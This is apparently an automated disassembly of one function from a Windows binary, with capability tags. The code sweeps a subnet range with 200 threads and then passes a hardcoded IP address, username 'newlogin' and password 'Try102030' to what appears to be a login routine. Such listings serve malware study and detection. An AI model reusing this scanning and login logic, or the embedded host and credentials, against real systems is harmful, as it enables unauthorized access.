Function at 0x140005e20
Capabilities:
Create thread
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x14a0]
mov eax, 0x15a0
call fcn.14006bbc0
sub rsp, rax
movaps xmmword [rsp + 0x1590], xmm6
mov rax, qword [0x1400900c0]
xor rax, rsp
mov qword [rbp + 0x1488], rax
mov rbx, rcx
mov qword [rsp + 0x30], rcx
xor esi, esi
mov rax, qword [0x140093578]
sub rax, qword [0x140093570]
sar rax, 2
imul eax, eax, 0xff
xchg dword [0x140093564], eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rsi
mov ecx, select
call fcn.140012f80
mov qword [rax + 8], rsi
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x28]
mov qword [rax], rcx
mov r13d, 1
mov r12d, r13d
movabs rdi, 0x7fffffffffffffff
nop
lea r9, [rbp + 0x1485]
mov r8d, r12d
test r12d, r12d
jns 0x140005f20
neg r8d
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140005ee2
dec r9
mov byte [r9], 0x2d
jmp 0x140005f4a
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140005f20
lea r8, [rbp + 0x1485]
mov rdx, r9
lea rcx, [rbp - 0x80]
call fcn.14000ef90
nop
mov r15, qword [rbx + 0x18]
mov rax, rdi
sub rax, r15
cmp rax, 1
jb 0x1400069e8
lea r14, [rbx + 8]
cmp qword [rbx + 0x20], 0xf
jbe 0x140005f80
mov r14, qword [r14]
mov qword [rsp + 0x38], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rsi, [r15 + 1]
mov ebx, select
lea rdi, [rsp + 0x40]
lea rax, [rbp - 0x2c]
mov qword [rsp + 0x70], rax
mov ecx, select
call fcn.140012f80
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rax], rcx
mov qword [rax + 8], 0
mov qword [rsp + 0x38], rax
cmp rsi, rbx
jbe 0x140006010
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140005ff2
mov rbx, rax
jmp 0x140005fff
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.14000d8c0
mov rdi, rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
mov r8, r15
mov rdx, r14
mov rcx, rdi
call fcn.14006c670
mov byte [rdi + r15], 0x2e
mov byte [rdi + rsi], 0
xor esi, esi
mov qword [rsp + 0x68], rsi
lea r9, [rbp - 0x80]
lea r8, [rsp + 0x38]
lea rcx, [rbp - 0x58]
call fcn.14000e9a0
nop
mov rax, qword [rbp - 0x18]
cmp rax, qword [rbp - 0x10]
je 0x1400060b9
lea rdx, [rbp - 0x58]
mov rcx, rax
call fcn.140008c40
mov rbx, qword [rbp - 0x18]
mov edx, 3
lea rcx, [rbp - 0x30]
call fcn.140010030
mov r8, qword [rbp - 0x28]
add r8, 8
mov rax, qword [r8]
test rax, rax
je 0x1400060a9
mov rcx, rax
cmp qword [rax + 0x10], rbx
jb 0x14000609a
ja 0x14000609a
mov qword [rcx], rsi
mov rax, qword [rcx + 8]
mov qword [r8], rax
jmp 0x1400060a1
lea r8, [rcx + 8]
mov rax, qword [r8]
mov rcx, rax
test rax, rax
jne 0x140006086
lea rcx, [rbp - 0x30]
call fcn.140010110
add qword [rbp - 0x18], 0x28
jmp 0x1400060ca
lea r8, [rbp - 0x58]
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.14000f8b0
nop
lea rcx, [rbp - 0x58]
call fcn.14000aa30
mov rcx, qword [rbp - 0x58]
mov qword [rbp - 0x58], rsi
mov edx, select
call fcn.14000d680
nop
lea rcx, [rsp + 0x38]
call fcn.140001d00
mov rax, qword [rsp + 0x58]
cmp rax, 0xf
jbe 0x140006176
mov rdi, qword [rsp + 0x40]
lea rbx, [rax + 1]
test rdi, rdi
jne 0x14000616b
test rbx, rbx
je 0x14000616b
lea rax, str.null_pointer_cannot_point_to_a_block_of_non_zero_size
mov qword [rsp + 0x28], rax
lea rax, [0x140087dac]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x3b4
lea rdx, [0x140087db0]
mov ecx, 2
call fcn.14001e270
cmp eax, 1
jne 0x140006146
int3
mov qword [rsp + 0x20], rsi
mov r9d, 0x3b4
lea r8, str.C:Program_FilesMicrosoft_Visual_Studio2022CommunityVCToolsMSVC14.40.33807includexmemory
lea rdx, [0x140087ee4]
lea rcx, str._null_pointer_cannot_point_to_a_block_of_non_zero_size_
call fcn.14001f200
mov rdx, rbx
mov rcx, rdi
call fcn.14000d680
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], select
mov byte [rsp + 0x40], 0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x38], rsi
mov edx, select
call fcn.14000d680
nop
lea rcx, [rbp - 0x80]
call fcn.14000aa30
mov rcx, qword [rbp - 0x80]
mov qword [rbp - 0x80], rsi
mov edx, select
call fcn.14000d680
inc r12d
cmp r12d, 0xff
mov rbx, qword [rsp + 0x30]
movabs rdi, 0x7fffffffffffffff
jle 0x140005ed0
call fcn.140011960
mov r14d, 0xffffffff
mov dword [rbp + 0x1464], r14d
mov dword [rbp + 0xe4], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, r13d
mov dword [rbp + r13*4 + 0xe4], eax
inc r13
cmp r13, 0x270
jb 0x1400061f0
mov dword [rbp + 0xe0], 0x270
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x78], rax
mov edx, 3
lea rcx, [rbp - 0x30]
call fcn.140010030
mov rbx, qword [rbp - 0x28]
mov rax, qword [rsp + 0x68]
cmp rax, rbx
je 0x140006272
test rax, rax
je 0x14000625b
lea rcx, [rsp + 0x68]
call fcn.140001c40
mov rax, qword [rbx + 8]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x68]
mov qword [rbx + 8], rax
mov qword [rsp + 0x68], rbx
lea rcx, [rbp - 0x30]
call fcn.140010110
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1470], xmm0
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x1480], rax
mov edx, 3
lea rcx, [rbp - 0x30]
call fcn.140010030
mov rbx, qword [rbp - 0x28]
mov rax, qword [rbp + 0x1470]
cmp rax, rbx
je 0x1400062dd
test rax, rax
je 0x1400062c0
lea rcx, [rbp + 0x1470]
call fcn.140001c40
mov rax, qword [rbx + 8]
mov qword [rbp + 0x1478], rax
lea rax, [rbp + 0x1470]
mov qword [rbx + 8], rax
mov qword [rbp + 0x1470], rbx
lea rcx, [rbp - 0x30]
call fcn.140010110
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x80], rax
mov ecx, 0x40
mov rax, 0xffffffffffffffff
nop dword [rax]
dec rcx
shr rax, 1
cmp rax, r14
ja 0x140006300
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x78], rcx
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x58]
call fcn.14000dd10
mov rbx, rax
lea rdx, [rbp + 0x1470]
lea rcx, [rsp + 0x38]
call fcn.14000dd10
mov rcx, rax
lea r8, [rbp - 0x80]
mov rdx, rbx
call fcn.14000f3f0
mov edx, 3
lea rcx, [rbp - 0x30]
call fcn.140010030
lea rcx, [rbp + 0x1470]
call fcn.140001c40
lea rcx, [rbp - 0x30]
call fcn.140010110
mov edx, 3
lea rcx, [rbp - 0x30]
call fcn.140010030
lea rcx, [rsp + 0x68]
call fcn.140001c40
lea rcx, [rbp - 0x30]
call fcn.140010110
mov r15, qword [rbp - 0x20]
mov r13, qword [rbp - 0x18]
cmp r15, r13
je 0x1400064c7
nop dword [rax]
mov rdi, qword [0x140093570]
mov r12, qword [0x140093578]
cmp rdi, r12
je 0x1400064b4
nop word [rax + rax]
mov ebx, dword [rdi]
mov rdx, r15
lea rcx, [rsp + 0x38]
call fcn.140008e20
mov dword [rsp + 0x60], ebx
lea rcx, [0x140093588]
call fcn.140001d00
mov r8, qword [0x1400935a8]
lea rax, [r8 + 1]
mov rdx, qword [0x140093598]
cmp rdx, rax
ja 0x140006409
call fcn.14000e4c0
mov r8, qword [0x1400935a8]
mov rdx, qword [0x140093598]
lea rcx, [rdx - 1]
mov rax, qword [0x1400935a0]
and rax, rcx
mov qword [0x1400935a0], rax
lea r14, [rax + r8]
mov rax, r14
and rax, rcx
lea rsi, [rax*8]
mov rbx, qword [0x140093590]
cmp qword [rsi + rbx], 0
jne 0x140006461
mov ecx, 0x30
call fcn.140012f80
mov rcx, qword [0x140093590]
mov qword [rsi + rcx], rax
mov rdx, qword [0x140093598]
mov rbx, qword [0x140093590]
lea rax, [rdx - 1]
and rax, r14
mov rbx, qword [rbx + rax*8]
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.140008c40
mov eax, dword [rsp + 0x60]
mov dword [rbx + 0x28], eax
inc qword [0x1400935a8]
lea rcx, [rsp + 0x38]
call fcn.14000aa30
mov rcx, qword [rsp + 0x38]
xor esi, esi
mov qword [rsp + 0x38], rsi
mov edx, select
call fcn.14000d680
add rdi, 4
cmp rdi, r12
jne 0x1400063c0
add r15, 0x28
cmp r15, r13
jne 0x1400063a0
mov r14d, 0xffffffff
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
movdqu xmmword [rbp - 8], xmm0
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rsi
mov ecx, select
call fcn.140012f80
mov qword [rax + 8], rsi
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
mov qword [rax], rcx
mov edi, 0xc8
nop dword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140004610]
call fcn.1400238a0
mov qword [rsp + 0x30], rax
mov rdx, qword [rbp + 8]
cmp rdx, qword [rbp + 0x10]
je 0x14000657b
mov qword [rdx], rax
mov rbx, qword [rbp + 8]
mov edx, 3
lea rcx, [rbp - 0x30]
call fcn.140010030
mov rdx, qword [rbp - 8]
add rdx, 8
mov rax, qword [rdx]
test rax, rax
je 0x14000656b
mov rcx, rax
cmp qword [rax + 0x10], rbx
jb 0x14000655c
ja 0x14000655c
mov qword [rcx], rsi
mov rax, qword [rcx + 8]
mov qword [rdx], rax
jmp 0x140006563
lea rdx, [rcx + 8]
mov rax, qword [rdx]
mov rcx, rax
test rax, rax
jne 0x140006548
lea rcx, [rbp - 0x30]
call fcn.140010110
add qword [rbp + 8], 8
jmp 0x140006589
lea r8, [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.14000f770
sub rdi, 1
jne 0x140006500
mov rdi, qword [rbp + 8]
mov rbx, qword [rbp]
cmp rbx, rdi
je 0x1400065b5
mov edx, r14d
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rbx, 8
cmp rbx, rdi
jne 0x1400065a0
lea rcx, [rbp + 0xb8]
call fcn.140002d90
nop
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x90]
call fcn.1400033d0
nop
lea rdx, [0x140088022]
lea rcx, [0x140091630]
call fcn.14000bf90
mov qword [rbp + 0x40], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
mov r8d, 0xc
lea rdx, str.5.135.72.201
lea rcx, [rbp + 0x40]
call fcn.14000caa0
nop
mov qword [rbp + 0x18], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, 8
lea rdx, str.newlogin
lea rcx, [rbp + 0x18]
call fcn.14000caa0
nop
mov qword [rbp + 0x68], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov r8d, 9
lea rdx, str.Try102030
lea rcx, [rbp + 0x68]
call fcn.14000caa0
nop
lea r9, [rbp + 0x68]
lea r8, [rbp + 0x18]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.1400037d0
lea rdx, [0x140088022]
test al, al
lea rcx, [0x140091630]
jne 0x14000669b
lea rcx, [0x1400918e0]
call fcn.14000bf90
nop
lea rcx, [rbp + 0x68]
call fcn.14000aa30
mov rcx, qword [rbp + 0x68]
mov qword [rbp + 0x68], rsi
mov edx, select
call fcn.14000d680
nop
lea rcx, [rbp + 0x18]
call fcn.140001d00
mov rax, qword [rbp + 0x38]
cmp rax, 0xf
jbe 0x14000674a
mov rdi, qword [rbp + 0x20]
lea rbx, [rax + 1]
test rdi, rdi
jne 0x14000673f
test rbx, rbx
je 0x14000673f
lea rax, str.null_pointer_cannot_point_to_a_block_of_non_zero_size
mov qword [rsp + 0x28], rax
lea rax, [0x140087dac]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x3b4
lea rdx, [0x140087db0]
mov ecx, 2
call fcn.14001e270
cmp eax, 1
jne 0x14000671a
int3
mov qword [rsp + 0x20], rsi
mov r9d, 0x3b4
lea r8, str.C:Program_FilesMicrosoft_Visual_Studio2022CommunityVCToolsMSVC14.40.33807includexmemory
lea rdx, [0x140087ee4]
lea rcx, str._null_pointer_cannot_point_to_a_block_of_non_zero_size_
call fcn.14001f200
mov rdx, rbx
mov rcx, rdi
call fcn.14000d680
movdqa xmm6, xmmword [0x140089360]
movdqu xmmword [rbp + 0x30], xmm6
mov byte [rbp + 0x20], 0
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x18], rsi
mov edx, select
call fcn.14000d680
nop
lea rcx, [rbp + 0x40]
call fcn.140001d00
mov rbx, qword [rbp + 0x60]
cmp rbx, 0xf
jbe 0x140006806
mov rdi, qword [rbp + 0x48]
inc rbx
test rdi, rdi
jne 0x1400067f3
test rbx, rbx
je 0x1400067f3
lea rax, str.null_pointer_cannot_point_to_a_block_of_non_zero_size
mov qword [rsp + 0x28], rax
lea rax, [0x140087dac]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x3b4
lea rdx, [0x140087db0]
mov ecx, 2
call fcn.14001e270
cmp eax, 1
jne 0x1400067ce
int3
mov qword [rsp + 0x20], rsi
mov r9d, 0x3b4
lea r8, str.C:Program_FilesMicrosoft_Visual_Studio2022CommunityVCToolsMSVC14.40.33807includexmemory
lea rdx, [0x140087ee4]
lea rcx, str._null_pointer_cannot_point_to_a_block_of_non_zero_size_
call fcn.14001f200
mov rdx, rbx
mov rcx, rdi
call fcn.14000d680
movdqa xmm6, xmmword [0x140089360]
movdqu xmmword [rbp + 0x58], xmm6
mov byte [rbp + 0x48], 0
mov rcx, qword [rbp + 0x40]
mov qword [rbp + 0x40], rsi
mov edx, select
call fcn.14000d680
nop
lea rcx, [rbp + 0x90]
call fcn.14000aa30
mov rcx, qword [rbp + 0x90]
mov qword [rbp + 0x90], rsi
mov edx, select
call fcn.14000d680
nop
lea rcx, [rbp + 0xb8]
call fcn.14000aa30
mov rcx, qword [rbp + 0xb8]
mov qword [rbp + 0xb8], rsi
mov edx, select
call fcn.14000d680
nop
lea rcx, [rbp - 8]
call fcn.140001d00
mov rcx, qword [rbp]
test rcx, rcx
je 0x1400068a2
mov rdx, qword [rbp + 0x10]
sub rdx, rcx
sar rdx, 3
lea rdx, [rdx*8]
call fcn.14000d680
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov qword [rbp + 0x10], rsi
mov rcx, qword [rbp - 8]
mov qword [rbp - 8], rsi
mov edx, select
call fcn.14000d680
nop
lea rcx, [rbp - 0x28]
call fcn.140001d00
mov rbx, qword [rbp - 0x20]
test rbx, rbx
je 0x1400069a1
mov rdi, qword [rbp - 0x18]
cmp rbx, rdi
je 0x1400068f9
mov rcx, rbx
call fcn.14000aa30
mov rcx, qword [rbx]
mov qword [rbx], rsi
mov edx, select
call fcn.14000d680
add rbx, 0x28
cmp rbx, rdi
jne 0x1400068d4
mov rbx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x10]
sub rcx, rbx
movabs rax, 0x6666666666666667
imul rcx
mov rdi, rdx
sar rdi, 4
mov rax, rdi
shr rax, 0x3f
add rdi, rax
test rbx, rbx
jne 0x140006985
test rdi, rdi
je 0x140006985
lea rax, str.null_pointer_cannot_point_to_a_block_of_non_zero_size
mov qword [rsp + 0x28], rax
lea rax, [0x140087dac]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x3b4
lea rdx, [0x140087db0]
mov ecx, 2
call fcn.14001e270
cmp eax, 1
jne 0x140006960
int3
mov qword [rsp + 0x20], rsi
mov r9d, 0x3b4
lea r8, str.C:Program_FilesMicrosoft_Visual_Studio2022CommunityVCToolsMSVC14.40.33807includexmemory
lea rdx, [0x140087ee4]
lea rcx, str._null_pointer_cannot_point_to_a_block_of_non_zero_size_
call fcn.14001f200
lea rdx, [rdi + rdi*4]
shl rdx, 3
mov rcx, rbx
call fcn.14000d680
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rsi
mov rcx, qword [rbp - 0x28]
mov qword [rbp - 0x28], rsi
mov edx, select
call fcn.14000d680
mov rcx, qword [rbp + 0x1488]
xor rcx, rsp
call fcn.140012f40
lea r11, [rsp + 0x15a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001df0
nop
int3